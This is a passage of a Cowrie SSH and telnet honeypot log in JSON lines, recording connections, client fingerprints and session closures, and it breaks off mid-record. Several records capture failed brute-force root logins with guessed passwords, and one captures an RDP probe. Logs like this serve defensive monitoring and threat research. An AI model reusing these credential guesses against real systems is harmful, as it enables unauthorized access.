{"eventid":"cowrie.login.failed","username":"root","password":"dagestan","message":"login attempt [root/dagestan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:58.030048Z","src_ip":"103.27.238.120","session":"3c058385aee8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:27:59.293238Z","src_ip":"103.27.238.120","session":"3c058385aee8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44234,"dst_ip":"10.17.0.5","dst_port":23,"session":"129c8bf826ca","protocol":"telnet","message":"New connection: 192.119.13.58:44234 (10.17.0.5:23) [session: 129c8bf826ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:00.935211Z"}
{"eventid":"cowrie.session.closed","duration":43.22097396850586,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:06.381525Z","src_ip":"192.119.13.58","session":"5afa21e6a176","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.540489196777344,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:07.055465Z","src_ip":"192.119.13.58","session":"2ec2b4459f47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43220,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f778c96cdfe","protocol":"telnet","message":"New connection: 192.119.13.58:43220 (10.17.0.5:23) [session: 1f778c96cdfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:07.891030Z"}
{"eventid":"cowrie.session.closed","duration":40.05200481414795,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:08.205812Z","src_ip":"192.119.13.58","session":"8449b372417b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.30111289024353,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:08.929231Z","src_ip":"192.119.13.58","session":"c518ee3ce4c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.86198568344116,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:16.226717Z","src_ip":"192.119.13.58","session":"3c88a7ce1eb6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.94098973274231,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:18.053558Z","src_ip":"192.119.13.58","session":"48fe43179ef8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.85315680503845,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:21.949551Z","src_ip":"192.119.13.58","session":"a6d4486c2dc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38286,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f0075065b04","protocol":"telnet","message":"New connection: 192.119.13.58:38286 (10.17.0.5:23) [session: 3f0075065b04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:27.698708Z"}
{"eventid":"cowrie.session.closed","duration":42.48042941093445,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:29.466656Z","src_ip":"192.119.13.58","session":"b0a91416daf8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44374,"dst_ip":"10.17.0.5","dst_port":23,"session":"379e865fd794","protocol":"telnet","message":"New connection: 192.119.13.58:44374 (10.17.0.5:23) [session: 379e865fd794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:36.220894Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.129.144","src_port":36298,"dst_ip":"159.203.135.109","dst_port":22,"session":"feb179d8d87f","protocol":"ssh","message":"New connection: 43.135.129.144:36298 (159.203.135.109:22) [session: feb179d8d87f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:38.256176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:38.260739Z","src_ip":"43.135.129.144","session":"feb179d8d87f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:38.332516Z","src_ip":"43.135.129.144","session":"feb179d8d87f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hanna","message":"login attempt [root/Hanna] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:38.641903Z","src_ip":"43.135.129.144","session":"feb179d8d87f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55210,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0f537a7bb91","protocol":"telnet","message":"New connection: 192.119.13.58:55210 (10.17.0.5:23) [session: b0f537a7bb91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:38.842073Z"}
{"eventid":"cowrie.session.closed","duration":0.00551295280456543,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:38.847462Z","src_ip":"192.119.13.58","session":"b0f537a7bb91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:39.713472Z","src_ip":"43.135.129.144","session":"feb179d8d87f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52130,"dst_ip":"10.17.0.5","dst_port":23,"session":"8be4acbb3149","protocol":"telnet","message":"New connection: 192.119.13.58:52130 (10.17.0.5:23) [session: 8be4acbb3149]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:45.250227Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52140,"dst_ip":"10.17.0.5","dst_port":23,"session":"22224e7d2ba5","protocol":"telnet","message":"New connection: 192.119.13.58:52140 (10.17.0.5:23) [session: 22224e7d2ba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:45.254483Z"}
{"eventid":"cowrie.session.closed","duration":56.06036686897278,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:46.310648Z","src_ip":"186.195.16.41","session":"46d75fce4f94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.54306077957153,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:46.433930Z","src_ip":"192.119.13.58","session":"1f778c96cdfe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.210.22.17","src_port":49610,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d1e15f0640d","protocol":"ssh","message":"New connection: 103.210.22.17:49610 (159.203.135.109:22) [session: 9d1e15f0640d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:46.829560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:46.835242Z","src_ip":"103.210.22.17","session":"9d1e15f0640d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:47.087322Z","src_ip":"103.210.22.17","session":"9d1e15f0640d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.960604429244995,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:50.895714Z","src_ip":"192.119.13.58","session":"129c8bf826ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47806,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb65e0279f2b","protocol":"telnet","message":"New connection: 192.119.13.58:47806 (10.17.0.5:23) [session: cb65e0279f2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:51.109628Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":46816,"dst_ip":"159.203.135.109","dst_port":22,"session":"193acbe8a9ff","protocol":"ssh","message":"New connection: 43.135.182.46:46816 (159.203.135.109:22) [session: 193acbe8a9ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:51.678782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:51.685268Z","src_ip":"43.135.182.46","session":"193acbe8a9ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:51.754212Z","src_ip":"43.135.182.46","session":"193acbe8a9ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gogs","message":"login attempt [root/gogs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:52.061051Z","src_ip":"43.135.182.46","session":"193acbe8a9ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:53.132186Z","src_ip":"43.135.182.46","session":"193acbe8a9ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"melina","message":"login attempt [root/melina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:53.787086Z","src_ip":"103.210.22.17","session":"9d1e15f0640d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.104.156","src_port":39468,"dst_ip":"10.17.0.5","dst_port":22,"session":"86fb13160d7f","protocol":"ssh","message":"New connection: 43.153.104.156:39468 (10.17.0.5:22) [session: 86fb13160d7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:54.533795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:54.542507Z","src_ip":"43.153.104.156","session":"86fb13160d7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:54.611220Z","src_ip":"43.153.104.156","session":"86fb13160d7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456!","message":"login attempt [root/Abc123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:54.922949Z","src_ip":"43.153.104.156","session":"86fb13160d7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.5","message":"Connection lost after 8.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:55.341838Z","src_ip":"103.210.22.17","session":"9d1e15f0640d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:55.997005Z","src_ip":"43.153.104.156","session":"86fb13160d7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45224,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fc85a8dda33","protocol":"telnet","message":"New connection: 192.119.13.58:45224 (10.17.0.5:23) [session: 3fc85a8dda33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:57.782936Z"}
{"eventid":"cowrie.session.closed","duration":7.205435037612915,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:28:58.314938Z","src_ip":"192.119.13.58","session":"cb65e0279f2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60592,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6b37b51a5df","protocol":"telnet","message":"New connection: 192.119.13.58:60592 (10.17.0.5:23) [session: d6b37b51a5df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:01.717793Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.243.239.219","src_port":3072,"dst_ip":"10.17.0.5","dst_port":22,"session":"71dbd653455b","protocol":"ssh","message":"New connection: 74.243.239.219:3072 (10.17.0.5:22) [session: 71dbd653455b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:02.527774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:02.601665Z","src_ip":"74.243.239.219","session":"71dbd653455b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:02.765353Z","src_ip":"74.243.239.219","session":"71dbd653455b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"arch123","message":"login attempt [root/arch123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:03.469237Z","src_ip":"74.243.239.219","session":"71dbd653455b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:04.646275Z","src_ip":"74.243.239.219","session":"71dbd653455b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.06095814704895,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:09.281767Z","src_ip":"192.119.13.58","session":"379e865fd794","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":55950,"dst_ip":"159.203.135.109","dst_port":22,"session":"dbbdeff5b597","protocol":"ssh","message":"New connection: 152.42.212.128:55950 (159.203.135.109:22) [session: dbbdeff5b597]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:12.101544Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:12.106951Z","src_ip":"152.42.212.128","session":"dbbdeff5b597","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:12.110406Z","src_ip":"152.42.212.128","session":"dbbdeff5b597","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.166.103.173","src_port":53282,"dst_ip":"159.203.135.109","dst_port":22,"session":"609435cf128d","protocol":"ssh","message":"New connection: 103.166.103.173:53282 (159.203.135.109:22) [session: 609435cf128d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:12.321615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:29:12.327119Z","src_ip":"103.166.103.173","session":"609435cf128d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-c